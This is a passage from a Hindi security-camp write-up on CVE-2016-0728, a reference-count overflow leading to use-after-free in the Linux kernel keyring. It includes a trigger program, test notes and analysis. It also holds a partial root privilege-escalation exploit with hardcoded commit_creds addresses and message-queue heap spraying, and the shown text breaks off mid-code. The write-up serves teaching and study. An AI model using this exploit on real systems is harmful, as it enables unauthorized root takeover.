
CVE-2016-0728 (कुंजी प्रतिधारण सेवा में उपयोग-के-बाद-मुक्त) के लिए शैक्षिक Linux कर्नेल शोषण, विस्तृत विश्लेषण, PoC कोड और विशेषाधिकार वृद्धि के लिए शमन चर्चा के साथ।
Seccamp 2017 कार्य
निम्नलिखित प्रोग्राम Linux कर्नेल 3.8 से 4.4 में मौजूद एक कमजोरी का दुरुपयोग करता है। इस प्रोग्राम के निष्पादन से उत्पन्न होने वाली समस्या का वर्णन करें। इसके अलावा, इस कमजोरी का और अधिक दुरुपयोग करके रूट विशेषाधिकार वृद्धि करने वाले एक एक्सप्लॉइट का वर्णन करें, और अपने द्वारा परीक्षण किए गए वातावरण और विशेष प्रयासों आदि के बारे में बताएं। साथ ही, ऐसे हमलों को कम करने के लिए जितना संभव हो सके उतने निवारक उपाय बताएं और उनका वर्णन करें। पूरी तरह से समझ में न आए तो भी कोई बात नहीं, कृपया अपने शब्दों में तब तक की जानकारी, प्रयास की प्रक्रिया और महसूस की गई बातों का वर्णन करें। इसके अलावा, यदि कोई संदर्भित साइट या साहित्य है, तो उन स्रोतों का उल्लेख करें।
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
परीक्षण वातावरण निम्नानुसार है।
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
मैं पहली बार इस कमजोरी के बारे में जाना, लेकिन मैं जांच करके जो पता चला, उस प्रक्रिया में जो कुछ आज़माया, उसका वर्णन करूँगा। पहले, इस प्रोग्राम में उपयोग की जाने वाली कुंजी भंडारण सेवा (key retention service) के बारे में, फिर इस प्रोग्राम द्वारा दुरुपयोग की जाने वाली Use-After-Free कमजोरी और यह प्रोग्राम में किस कारण से होती है, इसका वर्णन करूँगा, और उससे किस प्रकार की समस्या उत्पन्न होती है, इस पर चर्चा करूँगा। यह कमजोरी CVE-2016-0728 के रूप में पंजीकृत है, और इसके सारांश के लिए, मैंने निम्नलिखित साइट का संदर्भ लिया।
साथ ही, मैं Linux कुंजी भंडारण सेवा के बारे में भी पहली बार जाना, इसलिए IBM के Linux कुंजी भंडारण सेवा परिचय वेब पेज
https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html
और परीक्षण वातावरण Linux kernel 3.19 का स्रोत कोड
कर्नेल संदेश को होस्ट OS पर नेटवर्क के माध्यम से भेजने के लिए DEBUG HACKS - डिबगिंग को चरम सीमा तक ले जाने की तकनीकें और उपकरण (O'REILLY)
का संदर्भ लिया।
यह प्रोग्राम (इसे आगे leak.c कहेंगे) Linux कुंजी भंडारण सेवा में मौजूद एक बग का दुरुपयोग करता है, और यह बग Use-After-Free कमजोरी की ओर ले जाता है। Use-After-Free कमजोरी का मतलब है कि प्रोग्राम में असंगति के कारण, जारी की गई हीप मेमोरी एड्रेस का संदर्भ दिया जा सकता है, जिससे मनमाना कोड निष्पादित किया जा सकता है। पहले, इस प्रोग्राम द्वारा उपयोग किए जाने वाले सिस्टम कॉल keyctl() का वर्णन करूँगा, और फिर उसमें किस प्रकार का बग मौजूद है, इसका वर्णन करूँगा।
प्रत्येक प्रक्रिया keyctl(KEYCTL_JOIN_SESSION_KEYRING, name) सिस्टम कॉल के द्वारा वर्तमान सत्र के लिए प्रक्रिया-विशिष्ट कुंजी रिंग बना सकती है। यह कुंजी रिंग उस नाम name को संदर्भित करके प्रक्रियाओं के बीच साझा की जा सकती है। यदि प्रक्रिया के पास पहले से ही एक सत्र कुंजी रिंग है, तो यह सिस्टम कॉल सत्र कुंजी रिंग को नई कुंजी रिंग से बदल देता है। इस व्यवहार को और अधिक जानने के लिए, मैंने कर्नेल स्रोत कोड के /security/keys/process_keys.c में join_session_keyring फ़ंक्शन देखा। यह निम्नलिखित प्रोग्राम जैसा है। सत्र कुंजी रिंग को एक नई सत्र कुंजी रिंग से बदलते समय, key_put नामक फ़ंक्शन को छोड़ दिया जाता है। key_put फ़ंक्शन, दिए गए कुंजी रिंग के संदर्भ को नष्ट करने वाला फ़ंक्शन है। इसे छोड़ने से, उस नई कुंजी रिंग का संदर्भ शेष रह जाता है, और यह Use-After-Free कमजोरी की ओर ले जाता है।
जब यह कुंजी रिंग प्रक्रियाओं के बीच साझा की जाती है, तो संरचना key के usage सदस्य में संग्रहीत आंतरिक संदर्भ गणना बढ़ जाती है। usage सदस्य atomic_t प्रकार का है, लेकिन यह वास्तव में एक int प्रकार के चर को शामिल करने वाले struct के typedef के रूप में परिभाषित है। इसके अलावा, इस usage सदस्य को ओवरफ्लो होने से रोकने के लिए कोई तंत्र नहीं है, इसलिए इस सदस्य को बढ़ाकर ओवरफ्लो होने और 0 होने तक संदर्भित किया जा सकता है। जब usage सदस्य 0 हो जाता है, तो कुंजी रिंग सबसिस्टम के अंदर गार्बेज कलेक्शन द्वारा वह कुंजी रिंग मुक्त कर दी जाती है। इस मुक्त क्षेत्र में उपयोगकर्ता स्थान से कोई अन्य मनमाना प्रसंस्करण करने वाला कर्नेल मॉड्यूल रखकर, उस प्रसंस्करण को कर्नेल के विशेषाधिकारों के साथ निष्पादित किया जा सकता है।
संदर्भित साइट के अनुसार, leak.c को keyutils लाइब्रेरी के साथ संकलित करके चलाने पर, /proc/keys में leaked_key नामक एक सत्र कुंजी रिंग पंजीकृत होती है और 100 बार संदर्भित होती है। उस प्रोग्राम को चलाने से पहले और बाद में leaked-keyring को निम्नानुसार प्रदर्शित होते देखा गया।
# चलाने से पहले
$ cat /proc/keys
$ ./leak
# चलाने के बाद
$ cat /proc/keys
0fd435e9 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
हालांकि, परीक्षण वातावरण में leaked-keyring प्रदर्शित नहीं हुआ। परीक्षण के तौर पर, for लूप की शर्त को i < 0x1000000 जैसी बड़ी संख्या में बदलकर देखा, तो प्रोग्राम चलने के दौरान leaked-keyring प्रदर्शित हो रहा था। इस बार, usage सदस्य को ओवरफ्लो करके key को मुक्त करना और उस पर एक नया कर्नेल ऑब्जेक्ट रखना हमले को सफल बनाता है। इसलिए, मैंने वास्तव में इसे आज़माने का फैसला किया। एक्सप्लॉइट कोड के लिए, मैंने निम्नलिखित साइट का संदर्भ लिया।
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}